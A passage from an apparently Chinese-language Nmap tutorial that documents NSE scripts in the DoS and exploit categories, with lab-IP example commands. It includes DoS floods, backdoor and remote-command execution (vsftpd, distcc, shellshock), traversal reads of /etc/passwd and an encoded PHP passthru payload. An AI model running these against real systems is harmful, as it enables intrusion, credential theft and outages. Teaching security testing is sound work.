nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nocache"
wsdd-discover
已演示过。这里不再演示。
471. xdmcp-discover
请求 XDMCP(X 显示管理器控制协议)会话并列出支持的身份验证和授权机制。
sudo nmap -sU -p 177 --script "xdmcp-discover" ip/域名
xmlrpc-methods
已演示过。这里不再演示。
xmpp-info
已演示过。这里不再演示。
dos(拒绝服务)
此类别中的脚本可能会导致拒绝服务。有时这样做是为了测试拒绝服务方法的漏洞,但更常见的是,这是传统漏洞测试的副作用,虽然不受欢迎,但必不可少。这些测试有时会使易受攻击的服务崩溃。
broadcast-avahi-dos
已演示过。这里不再演示。
472. http-slowloris
通过发起 Slowloris 攻击来测试 Web 服务器是否容易受到 Slowloris DoS 攻击。
RSnake 在 Defcon 17 上描述了 Slowloris(请参阅 http://ha.ckers.org/slowloris/)。
此脚本打开并维持大量“半 HTTP”连接,直到服务器资源耗尽,从而导致拒绝服务。当检测到成功的 DoS 时,脚本会停止攻击并返回以下信息(可能有助于调整进一步的过滤规则):
发生 DoS 所需的时间
使用的套接字数量
发送的查询数量
默认情况下,如果未发生 DoS,脚本将运行 30 分钟。
请注意,必须使用 --max-parallelism 选项定义并发连接数(默认值为 20,建议为 400 或更多)此外,请注意,在某些情况下,此攻击可能会彻底关闭 Web 服务器,而不仅仅是在攻击运行时。
此外,由于操作系统的限制,该脚本在 Windows 上运行时不太可能起作用。
http-slowloris.runforever
指定脚本应永远继续攻击。默认为 false。
http-slowloris.timelimit
指定 DoS 攻击的最大运行时间(默认为 30 分钟)。
http-slowloris.send_interval
发送新的 http 标头数据之前等待的时间,以维持连接。默认为 100 秒。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "http-slowloris" --max-parallelism 400 192.168.174.145
473. ipv6-ra-flood
生成大量带有随机源 MAC 地址和 IPv6 前缀的路由器通告 (RA)。默认情况下启用无状态自动配置的计算机(每个主要操作系统)将开始计算 IPv6 后缀并更新其路由表以反映已接受的通告。这将导致 Windows 和平台上的 CPU 使用率达到 100%,从而无法处理其他应用程序请求。
易受攻击的平台:
固件版本 < 2010 年 11 月的所有 Cisco IOS ASA
支持 IPv6 的所有 Netscreen 版本
Windows 2000/XP/2003/Vista/7/2008/8/2012
所有 FreeBSD 版本
所有 NetBSD 版本
所有 Solaris/Illumos 版本
安全公告:http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
警告:此脚本很危险,很可能会导致服务器或网络设备瘫痪。除非您(更重要的是企业)了解风险,否则不应在生产环境中运行它!
其他文档:https://tools.ietf.org/rfc/rfc6104.txt
ipv6-ra-flood.interface
定义我们应该在其上广播的接口
ipv6-ra-flood.timeout
运行脚本,直到达到超时(默认值:30 秒)。如果超时为零,则脚本将永远运行。
nmap -6 --script "ipv6-ra-flood.nse" 192.168.174.145
nmap -6 --script "ipv6-ra-flood.nse" --script-args 'interface=eth0' 192.168.174.145
nmap -6 --script "ipv6-ra-flood.nse" --script-args 'interface=eth0,timeout=10s' 192.168.174.145
474. smb-flood
通过打开尽可能多的连接来耗尽远程 SMB 服务器的连接限制。大多数 SMB 实现对用户帐户的连接数和匿名帐户的连接数都设置了硬性全局限制,分别为 11 个和 10 个。一旦达到该限制,将拒绝进一步的连接。此脚本通过占用并保留所有连接来利用该限制。
这在有效用户帐户下效果更好,因为 Windows 为有效用户保留了一个位置。因此,无论有多少匿名连接占用空间,单个有效用户仍然可以登录。
不建议将此脚本用作通用脚本,因为 a) 它旨在损害服务器并且没有有用的输出,并且 b) 它永远不会结束(直到超时)。
smb-flood.timelimit
脚本应运行的时间量。默认值:30 分钟
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-flood.nse" -p445 ip/域名
sudo nmap -sU -sS --script "smb-flood.nse" -p U:137,T:139 ip/域名
475. smb-vuln-conficker
检测受 Conficker 蠕虫感染的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
大致基于简单 Conficker 扫描程序,可在此处找到:-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-conficker.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-conficker.nse" -p T:139 192.168.174.128
476. smb-vuln-cve2009-3103
检测 Microsoft Windows 系统是否存在拒绝服务漏洞 (CVE-2009-3103)。如果存在漏洞,此脚本将使服务崩溃。
此脚本针对 CVE-2009-3103 中披露的漏洞执行拒绝服务。此脚本可针对 Windows Vista 和某些版本的 Windows 7 执行此操作,如果成功,将导致蓝屏。使用了 http://seclists.org/fulldisclosure/2009/Sep/39 上的概念验证代码,并做了一个小改动。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-cve2009-3103.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-cve2009-3103.nse" -p U:137,T:139 192.168.174.128
477. smb-vuln-ms06-025
检测 Microsoft Windows 系统中存在易受 MS06-025 攻击的 Ras RPC 服务。
MS06-025 攻击 RasRpcSumbitRequest() RPC 方法,该方法是 RASRPC 接口的一部分,用作配置和从远程访问和路由服务获取信息的 RPC 服务。可以使用“\ROUTER”SMB 管道或“\SRVSVC”SMB 管道(通常在 Windows XP 计算机上)访问 RASRPC。在 RPC 世界中,这称为“ncan_np”RPC 传输。RasRpcSumbitRequest() 方法是一种通用方法,它根据 RequestBuffer 结构(特别是该结构中的 RegType 字段)提供不同的功能。RegType 字段属于枚举 ReqTypes 类型。此枚举类型列出了可以使用 RasRpcSubmitRequest() RPC 方法执行的所有不同可用操作。此漏洞攻击的一个特定操作是 REQTYPE_GETDEVCONFIG 请求,用于获取 RRAS 上的设备信息。
该脚本以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms06-025.nse" -p445 ip/域名
sudo nmap -sU --script "smb-vuln-ms06-025.nse" -p U:137,T:139 192.168.174.128
478. smb-vuln-ms07-029
检测 Microsoft Windows 系统中存在易受 MS07-029 攻击的 DNS 服务器 RPC。
MS07-029 针对 R_DnssrvQuery() 和 R_DnssrvQuery2() RPC 方法,它们是 DNS 服务器 RPC 接口的一部分,用作配置和从 DNS 服务器服务获取信息的 RPC 服务。可以使用“\dnsserver”SMB 命名管道访问 DNS 服务器 RPC 服务。当将长字符串作为“zone”参数发送时会触发此漏洞,这会导致缓冲区溢出,从而使服务崩溃。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms07-029.nse" -p445 ip/域名
sudo nmap -sU --script "smb-vuln-ms07-029.nse" -p U:137,T:139 ip/域名
479. smb-vuln-ms08-067
检测易受远程代码执行漏洞(称为 MS08-067)影响的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
在 Brandon Enright 进行的一次相当广泛的扫描中,我们发现,平均而言,易受攻击的系统崩溃的可能性比通过检查的可能性更大。在 82 个易受攻击的系统中,有 52 个崩溃。请在运行脚本前考虑这一点。
此检查以前是 smb-check-vulns.nse 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-ms08-067.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-ms08-067.nse" -p U:137 192.168.174.128
480. smb-vuln-ms10-054
测试目标机器是否容易受到 ms10-054 SMB 远程内存损坏漏洞的攻击。
易受攻击的机器将因 BSOD 而崩溃。
该脚本至少需要对远程机器上的共享具有读取访问权限。可以使用来宾凭据或指定的用户名/密码。
smb-vuln-ms10-054.share
共享以连接到(默认为 SharedDocs)
unsafe
需要运行脚本“safety swich”以防止意外运行
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 445 192.168.174.128 --script=smb-vuln-ms10-054 --script-args "unsafe"
481. smb-vuln-regsvc-dos
检查 Microsoft Windows 2000 系统是否容易受到 regsvc 崩溃的影响,而这种崩溃是由空指针取消引用引起的。如果服务存在漏洞并且需要来宾帐户或更高级别的权限才能运行,则此检查将导致服务崩溃。
Ron Bowes 在处理 smb-enum-sessions 时发现了此漏洞,并已报告给 Microsoft(案例编号 #MSRC8742)。
此检查以前是 smb-check-vulns 的一部分。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap --script "smb-vuln-regsvc-dos.nse" -p445 192.168.174.128
sudo nmap -sU --script "smb-vuln-regsvc-dos.nse" -p U:137,T:139 192.168.174.128
exploit(利用)
这些脚本旨在主动利用某些漏洞。示例包括 jdwp-exec 和 http-shellshock。
482. afp-path-vuln
检测 Mac OS X AFP 目录遍历漏洞 CVE-2010-0533。
此脚本尝试遍历远程主机上的所有 AFP 共享。对于每个共享,它都尝试通过利用目录遍历漏洞(如 CVE-2010-0533 中所述)来访问父目录。
该脚本报告系统是否存在漏洞。此外,它列出了父目录和子目录的内容,最大深度为 2。在详细模式下运行时,将显示列出的目录中的所有项目。在非详细模式下,输出仅限于前 5 个项目。如果服务器不存在漏洞,则脚本不会返回任何信息。
更多信息:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
http://support.apple.com/kb/HT1222
afp.password、afp.username
请参阅 afp 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV --script=afp-path-vuln -p548 ip/域名
483. clamav-exec
利用 ClamAV 服务器易受未经身份验证的 clamav 命令执行的影响。
ClamAV 服务器 0.99.2 以及可能的其他早期版本允许在未经身份验证的情况下执行危险的服务命令。具体来说,命令“SCAN”可用于列出系统文件,命令“SHUTDOWN”可关闭服务。此漏洞由 Alejandro Hernandez (nitr0us) 发现。
此脚本不带参数,用于测试命令“SCAN”的可用性。
参考:
https://twitter.com/nitr0usmx/status/740673507684679680
https://bugzilla.clamav.net/show_bug.cgi?id=11585
clamav-exec.scandb
数据库到文件列表。
clamav-exec.cmd
要执行的命令。选项: scan and shutdown(扫描和关闭)
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV --script "clamav-exec" -p3310 ip/域名
nmap --script "clamav-exec" --script-args "cmd='scan',scandb='files.txt'" ip/域名
nmap --script "clamav-exec" --script-args "cmd='shutdown'" ip/域名
484. distcc-cve2004-2687
检测并利用分布式编译器守护进程 distcc 中的远程代码执行漏洞。该漏洞于 2002 年披露,但由于服务配置不当,在现代实现中仍然存在。
cmd
在远程服务器上运行的命令
vulns.short, vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 3632 ip/域名 --script "distcc-cve2004-2687" --script-args="distcc-exec.cmd='id'"
485. ftp-proftpd-backdoor
测试是否存在报告为 BID 45150 的 ProFTPD 1.3.3c 后门。此脚本默认尝试使用无害的 id 命令利用后门,但可以使用 ftp-proftpd-backdoor.cmd 脚本参数进行更改。
ftp-proftpd-backdoor.cmd
在 shell 中执行的命令(默认为 id)。
nmap --script "ftp-proftpd-backdoor" -p 21 192.168.174.132
486. ftp-vsftpd-backdoor
测试 2011-07-04 报告的 vsFTPd 2.3.4 后门 (CVE-2011-2523) 是否存在。此脚本默认尝试使用无害的 id 命令利用后门,但可以使用 exploit.cmd 或 ftp-vsftpd-backdoor.cmd 脚本参数进行更改。
参考:
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
ftp-vsftpd-backdoor.cmd
在 shell 中执行的命令(默认为 id)。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "ftp-vsftpd-backdoor" -p 21 192.168.174.132
487. http-adobe-coldfusion-apsa1301
尝试利用 Adobe Coldfusion 服务器中的身份验证绕过漏洞来检索有效的管理员会话 cookie。
参考:
APSA13-01:http://www.adobe.com/support/security/advisories/apsa13-01.html
http-adobe-coldfusion-apsa1301.basepath
指向administrator.cfc的URI路径。默认值:/CFIDE/adminapi/
slaxml.debug
请参阅slaxml库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅smbauth库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅http库的文档。
sudo nmap -sV --script "http-adobe-coldfusion-apsa1301" ip/域名
nmap -p80 --script "http-adobe-coldfusion-apsa1301" --script-args "basepath=/cf/adminapi/" 192.168.174.132
488. http-avaya-ipoffice-users
尝试枚举 Avaya IP Office 系统 7.x 中的用户。
Avaya IP Office 系统允许未经身份验证访问 URI“/system/user/scn_user_list”,该 URI 返回包含用户信息(例如显示名称、全名和分机号码)的 XML 文件。
已在 Avaya IP Office 7.0(27) 上测试。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p80 --script "http-avaya-ipoffice-users" 192.168.174.145
489. http-awstatstotals-exec
利用 Awstats Totals 1.0 至 1.14 版本以及可能基于它的其他产品中的远程代码执行漏洞 (CVE: 2008-3922)。
可以通过 GET 变量排序来利用此漏洞。该脚本使用 PHP 的 chr() 函数编码的命令有效负载查询 Web 服务器:
?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}
Awstats Total 的常用路径:
/awstats/index.php
/awstatstotals/index.php
/awstats/awstatstotals.php
参考:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
http://www.exploit-db.com/exploits/17324/
http-awstatstotals-exec.uri
Awstats Totals URI 包括路径。默认:/index.php
http-awstatstotals-exec.cmd
要执行的命令。默认:whoami
http-awstatstotals-exec.outfile
输出文件。如果设置,它会将输出保存在此文件中。
运行此脚本时的其他有用参数:http.useragent - GET 请求中使用的用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -sV --script "http-awstatstotals-exec.nse" --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' -p80 192.168.174.132
nmap -sV --script "http-awstatstotals-exec.nse" -p80 192.168.174.145
490. http-axis2-dir-traversal
通过向参数 xsd (BID 40343) 发送特制请求,利用 Apache Axis2 版本 1.4.1 中的目录遍历漏洞。默认情况下,它将尝试使用路径“/axis2/services/”检索 Axis2 服务“/conf/axis2.xml”的配置文件,以返回管理员帐户的用户名和密码。
要利用此漏洞,我们需要检测安装中正在运行的有效服务,因此我们在利用目录遍历漏洞之前从 /listServices 中提取它。默认情况下,它将检索配置文件,如果您希望检索其他文件,则需要正确设置参数 http-axis2-dir-traversal.file 以遍历到文件的目录。例如。 ../../../../../../../../../etc/issue
要检查 Apache Axis2 安装的版本,请转到:http://domain/axis2/services/Version/getVersion
参考:
https://www.securityfocus.com/bid/40343
https://www.exploit-db.com/exploits/12721/
http-axis2-dir-traversal.file
要检索的远程文件
http-axis2-dir-traversal.outfile
输出文件
http-axis2-dir-traversal.basepath
服务页面的基本路径。默认值:/axis2/services/
slaxml.debug
请参阅 slaxml 库的文档。
creds.[service], creds.global
请参阅 creds 库的文档。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
请参阅 http 库的文档。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
请参阅 smbauth 库的文档。
nmap -p80,8080 --script "http-axis2-dir-traversal" --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' 192.168.174.132
nmap -p80 --script "http-axis2-dir-traversal" 192.168.174.132
491. http-barracuda-dir-traversal
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119 中描述的目录遍历漏洞从 Barracuda Networks 垃圾邮件和病毒防火墙设备检索配置设置。
此漏洞位于“/cgi-mod/view_help.cgi”或“/cgi-bin/view_help.cgi”的“locale”参数中,允许从 MySQL 数据库转储中检索信息。默认情况下,Web 管理界面在端口 8000 上运行。
Barracuda Networks 垃圾邮件和病毒防火墙 <= 4.1.1.021 远程配置检索 ShadowHatesYou <Shadow@SquatThis.net> 的原始漏洞 有关更多信息,请参阅: http://seclists.org/fulldisclosure/2010/Oct/119 http://www.exploit-db.com/exploits/15130/
http-max-cache-size
设置最大缓存大小。默认值为 100,000。Barracuda 配置文件的大小主要取决于用户数量。对于包含最多 5,000 个用户的配置文件,使用 5,000,000 字节的最大缓存大小应该足够了。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "http-barracuda-dir-traversal" --script-args "http-max-cache-size=5000000" -p 8000 ip/域名
492. http-coldfusion-subzero
尝试从存在漏洞的 ColdFusion 9 和 10 安装中检索版本、管理面板的绝对路径和文件“password.properties”。
这是基于漏洞“ColdSub-Zero.pyFusion v2”。
http-coldfusion-subzero.basepath
基本路径。默认值:/。
slaxml.debug
请参阅 slaxml 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -sV --script "http-coldfusion-subzero" -p80 ip/域名
sudo nmap -p80 --script "http-coldfusion-subzero" --script-args "basepath=/cf/" ip/域名
493. http-csrf
此脚本可检测跨站点请求伪造 (CSRF) 漏洞。
它会尝试通过检查每个表单是否包含每个用户的不可预测令牌来检测这些漏洞。如果没有令牌,攻击者可能会伪造恶意请求。
要识别表单中的令牌,脚本将遍历表单的属性并在其名称中搜索常见模式。如果失败,它还将计算每个属性值的熵。熵大意味着可能的令牌。
此脚本的一个常见用例是附带一个 cookie,该 cookie 可在需要身份验证的页面中提供访问权限,因为特权存在于那里。请参阅 http 库的文档以设置您自己的 cookie。
http-csrf.singlepages
包含要检查的表单的页面。例如,{/upload.php, /login.php}。默认值:nil(爬虫模式开启)
http-csrf.checkentropy
如果设置了该选项,脚本还会计算字段值的熵来确定它是否是令牌,而不仅仅是检查其名称。默认值:true
slaxml.debug
请参阅 slaxml 库的文档。
httpspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpspider 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-csrf.nse" ip/域名
494. http-dlink-backdoor
通过将用户代理更改为“秘密”值来检测某些 D-Link 路由器上的固件后门。使用“秘密”用户代理可绕过身份验证并允许管理员访问路由器。
以下路由器型号可能存在漏洞:DIR-100、DIR-120、DI-624S、DI-524UP、DI-604S、DI-604UP、DI-604+、TM-G5240
此外,几款 Planex 路由器似乎也使用相同的固件:BRL-04UR、BRL-04CW
参考:http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-dlink-backdoor" 192.168.1.1
495. http-dombased-xss
它会寻找 DOM 中攻击者控制的信息可能被用来以某种方式影响 JavaScript 执行的位置。该攻击的解释如下:http://www.webappsec.org/projects/articles/071105.shtml
http-dombased-xss.singlepages
要测试的页面。例如,{/index.php, /profile.php}。默认值:nil(爬虫模式开启)
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpspider 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap -p80 --script "http-dombased-xss.nse" ip/域名
496. http-fileupload-exploiter
使用各种技术(例如更改 Content-type 标头或在评论中创建包含有效负载的有效图像文件)来利用 Web 应用程序中不安全的文件上传表单。
http-fileupload-exploiter.fieldvalues
脚本将尝试填充上传表单中找到的每个字段,但由于字段的限制,这可能会失败。您可以使用此表手动填充这些字段。例如,{gender = "male", email = "foo@bar.com"}。默认值:{}
http-fileupload-exploiter.formpaths
包含要利用的表单的页面。例如,{/upload.php, /login.php}。默认值:nil(爬虫模式开启)
http-fileupload-exploiter.uploadspaths
包含上传文件的目录。例如,{/avatars, /photos}。默认值:{'/uploads', '/upload', '/file', '/files', '/downloads'}
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpsspider 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -p80 --script "http-fileupload-exploiter.nse" ip/域名此脚本会发现目标页面上的上传表单,并尝试使用 3 种不同的方法利用它:1) 首先,它会尝试上传具有不同不安全扩展名的有效负载。这将对抗文件扩展名验证器使用的弱黑名单。2) 如果 (1) 不起作用,它会尝试上传相同的有效负载,这次使用不同的 Content-type 标头,例如“image/gif”而不是“text/plain”。这将欺骗任何检查 MIME 类型的机制。3) 如果 (2) 不起作用,它会创建一些包含注释中有效负载的正确 GIF 图像。解释器将看到一些二进制垃圾中的可执行文件。这将绕过对上传文件的实际内容的任何检查。TODO:
* 使用漏洞库进行报告。
497. http-huawei-hg5xx-vuln
检测华为调制解调器型号 HG530x、HG520x、HG510x(可能还有其他型号……)是否易受远程凭证和信息泄露漏洞的影响。它还会提取 PPPoE 凭证和其他有趣的配置值。
攻击者可以查询 URI“/Listadeparametros.html”和“/wanfun.js”以提取敏感信息,包括 PPPoE 凭证、固件版本、型号、网关、dns 服务器和活动连接等值。
此脚本利用了两个漏洞。一个是由墨西哥地下社区 (http://underground.org.mx) 的 Adiaz 发现和报告的,它允许攻击者提取 pppoe 密码。配置泄露漏洞由 Pedro Joaquin (http://hakim.ws) 发现。
参考文献:
http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
http://routerpwn.com/#huawei
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-huawei-hg5xx-vuln" ip/域名
498. http-litespeed-sourcecode-download
利用 Litespeed Web Servers 4.0.x 4.0.15 之前的版本中的空字节中毒漏洞,通过发送带有空字节和 .txt 文件扩展名的 HTTP 请求来检索目标脚本的源代码(CVE-2010-2333)。
如果服务器不存在漏洞,则会返回错误 400。如果未找到 index.php,您可以尝试 /phpinfo.php,它也随 LiteSpeed Web Server 一起提供。攻击负载如下所示:
/index.php\00.txt
参考:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333
http://www.exploit-db.com/exploits/13850/
http-litespeed-sourcecode-download.uri
远程文件的 URI 路径
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-litespeed-sourcecode-download" --script-args "http-litespeed-sourcecode-download.uri=/phpinfo.php" ip/域名
sudo nmap -p8088 --script "http-litespeed-sourcecode-download" ip/域名
499. http-majordomo2-dir-traversal
利用 Majordomo2 中存在的目录遍历漏洞来检索远程文件。(CVE-2011-0049)。
该漏洞最初由 Michael Brooks 发现。
有关此漏洞的更多信息:
http://www.mj2.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049
http://www.exploit-db.com/exploits/16103/
http-majordomo2-dir-traversal.rfile
要下载的远程文件。默认值:/etc/passwd
http-majordomo2-dir-traversal.uri
mj_wwwusr 的 URI 路径。默认值:/cgi-bin/mj_wwwusr
http-majordomo2-dir-traversal.outfile
如果设置,则会将远程文件保存到此位置。
您可能希望与此脚本一起使用的其他参数:
http.useragent - 设置用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p80 --script "http-majordomo2-dir-traversal" ip/域名
500. http-phpmyadmin-dir-traversal
利用 phpMyAdmin 2.6.4-pl1(可能还有其他版本)中的目录遍历漏洞来检索 Web 服务器上的远程文件。
参考:
http://www.exploit-db.com/exploits/1244/
http-phpmyadmin-dir-traversal.dir
服务页面的基本路径。默认值:/phpMyAdmin-2.6.4-pl1/
http-phpmyadmin-dir-traversal.file
要检索的远程文件。默认值:../../../../../etc/passwd
http-phpmyadmin-dir-traversal.outfile
输出文件
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short, vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-phpmyadmin-dir-traversal" --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" ip/域名
nmap -p80 --script "http-phpmyadmin-dir-traversal" ip/域名
501. http-shellshock
尝试利用 Web 应用程序中的“shellshock”漏洞(CVE-2014-6271 和 CVE-2014-7169)。
为了检测此漏洞,脚本执行一个命令,该命令打印一个随机字符串,然后尝试在响应主体中找到它。不打印回信息的 Web 应用程序不会被此方法检测到。
默认情况下,脚本将有效负载注入 HTTP 标头 User-Agent、Cookie 和 Referer 中。
漏洞最初由 Stephane Chazelas 发现。
参考文献:
http://www.openwall.com/lists/oss-security/2014/09/24/10
http://seclists.org/oss-sec/2014/q3/685
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http-shellshock.uri
URI。默认值:/
http-shellshock.header
请求中使用的 HTTP 标头。默认值:User-Agent
http-shellshock.cmd
发送内部有效负载的自定义命令。默认值:nil
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -sV -p- --script "http-shellshock" 192.168.174.128
sudo nmap -sV -p- --script "http-shellshock" --script-args "uri=/cgi-bin/bin,cmd=ls" 192.168.174.128
